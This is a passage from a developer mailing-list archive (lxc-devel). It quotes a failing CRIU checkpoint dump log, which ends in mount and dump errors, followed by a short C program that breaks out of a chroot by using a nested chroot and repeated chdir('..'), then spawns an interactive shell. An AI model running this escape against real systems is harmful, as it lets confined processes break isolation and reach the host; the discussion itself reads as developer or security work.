> > (00.919278) 	type tmpfs source tmpfs 13 / @ ./mnt/obb flags 280000 options mode=755,gid=1000,
> > (00.919541) 	type unsupported source /dev/block/mtdblock0 1f00000 / @ ./system flags 280001 options data=ordered,
> > (00.919824) 	type unsupported source /dev/block/mtdblock1 1f00001 / @ ./data flags 80406 options data=ordered,
> > (00.920084) 	type unsupported source /dev/block/mtdblock2 1f00002 / @ ./cache flags 80406 options 
> > (00.920491) Building mountpoints tree
> > (00.920653) 	Building plain mount tree
> > (00.920808) 		Working on 58->47
> > (00.920943) 		Working on 57->47
> > (00.921077) 		Working on 56->47
> > (00.921209) 		Working on 55->47
> > (00.921341) 		Working on 54->47
> > (00.921503) 		Working on 53->52
> > (00.921635) 		Working on 52->47
> > (00.921787) 		Working on 51->49
> > (00.921920) 		Working on 50->49
> > (00.922051) 		Working on 49->47
> > (00.922183) 		Working on 48->47
> > (00.922314) 		Working on 47->46
> > (00.922447) 	Resorting siblings on 47
> > (00.922582) 	Resorting siblings on 58
> > (00.922733) 	Resorting siblings on 57
> > (00.922872) 	Resorting siblings on 56
> > (00.923005) 	Resorting siblings on 55
> > (00.923140) 	Resorting siblings on 54
> > (00.923291) 	Resorting siblings on 52
> > (00.923425) 	Resorting siblings on 53
> > (00.923558) 	Resorting siblings on 49
> > (00.923690) 	Resorting siblings on 51
> > (00.923839) 	Resorting siblings on 50
> > (00.923972) 	Resorting siblings on 48
> > (00.924106) Error (mount.c:517): Mount 58 (master_id: 12 shared_id: 0) has unreachable sharing
> > (00.924298) Unlock network
> > (00.924430) Running network-unlock scripts
> > (00.925009) Unfreezing tasks into 1
> > (00.925155) 	Unseizing 79 into 1
> > (00.925537) 	Unseizing 82 into 1
> > (00.925924) 	Unseizing 329 into 1
> > (00.926236) 	Unseizing 330 into 1
> > (00.926813) 	Unseizing 331 into 1
> > (00.927308) 	Unseizing 332 into 1
> > (00.928112) 	Unseizing 333 into 1
> > (00.928854) 	Unseizing 335 into 1
> > (00.930017) 	Unseizing 338 into 1
> > (00.931919) 	Unseizing 339 into 1
> > (00.934187) 	Unseizing 341 into 1
> > (00.936200) 	Unseizing 342 into 1
> > (00.936728) 	Unseizing 343 into 1
> > (00.937140) 	Unseizing 345 into 1
> > (00.938086) 	Unseizing 346 into 1
> > (00.938344) 	Unseizing 347 into 1
> > (00.938533) 	Unseizing 348 into 1
> > (00.938873) 	Unseizing 705 into 1
> > (00.940906) 	Unseizing 780 into 1
> > (00.941629) 	Unseizing 848 into 1
> > (00.942111) 	Unseizing 902 into 1
> > (00.942543) 	Unseizing 925 into 1
> > (00.943602) 	Unseizing 940 into 1
> > (00.944340) 	Unseizing 964 into 1
> > (00.945147) 	Unseizing 1023 into 1
> > (00.946335) 	Unseizing 1062 into 1
> > (00.946846) 	Unseizing 1078 into 1
> > (00.947460) 	Unseizing 1107 into 1
> > (00.958157) 	Unseizing 1127 into 1
> > (00.958979) 	Unseizing 1150 into 1
> > (00.959813) 	Unseizing 1209 into 1
> > (00.960450) 	Unseizing 1224 into 1
> > (00.961280) 	Unseizing 1244 into 1
> > (00.962126) 	Unseizing 1275 into 1
> > (00.962992) 	Unseizing 1294 into 1
> > (00.963854) 	Unseizing 1339 into 1
> > (00.964596) 	Unseizing 1374 into 1
> > (00.965203) 	Unseizing 1412 into 1
> > (00.965842) 	Unseizing 1455 into 1
> > (00.966305) 	Unseizing 1483 into 1
> > (00.978492) 	Unseizing 349 into 1
> > (00.978914) 	Unseizing 350 into 1
> > (00.980006) Error (cr-dump.c:1882): Dumping FAILED.
> > _______________________________________________
> > CRIU mailing list
> > CRIU at openvz.org
> > https://lists.openvz.org/mailman/listinfo/criu
> 

> #include <stdio.h>
> #include <errno.h>
> #include <fcntl.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> #include <stdlib.h>
> 
> #define TEMP_DIR "waterbuffalo"
> 
> /* Break out of a chroot() environment in C */
> 
> int main() {
> 	int x;						/* Used to move up a directory tree */
> 	int done=0;			 /* Are we done yet ? */
> 	struct stat sbuf; /* The stat() buffer */
> 
> 	if (stat(TEMP_DIR,&sbuf)<0) {
> 		if (errno==ENOENT) {
> 			if (mkdir(TEMP_DIR,0755)<0) {
> 				fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
> 								strerror(errno));
> 				exit(1);
> 			}
> 		} else {
> 			fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
> 							strerror(errno));
> 			exit(1);
> 		}
> 	} else if (!S_ISDIR(sbuf.st_mode)) {
> 		fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
> 		exit(1);
> 	}
> 
> 	if (chroot(TEMP_DIR)<0) {
> 		fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
> 						strerror(errno));
> 		exit(1);
> 	}
> 
> 	for(x=0;x<1024;x++) {
> 		chdir("..");
> 	}
> 	chroot(".");
> 
> 	if (execl("/bin/sh","-i",NULL)<0) {
> 		fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
> 		exit(1);
> 	}
> }



More information about the lxc-devel mailing list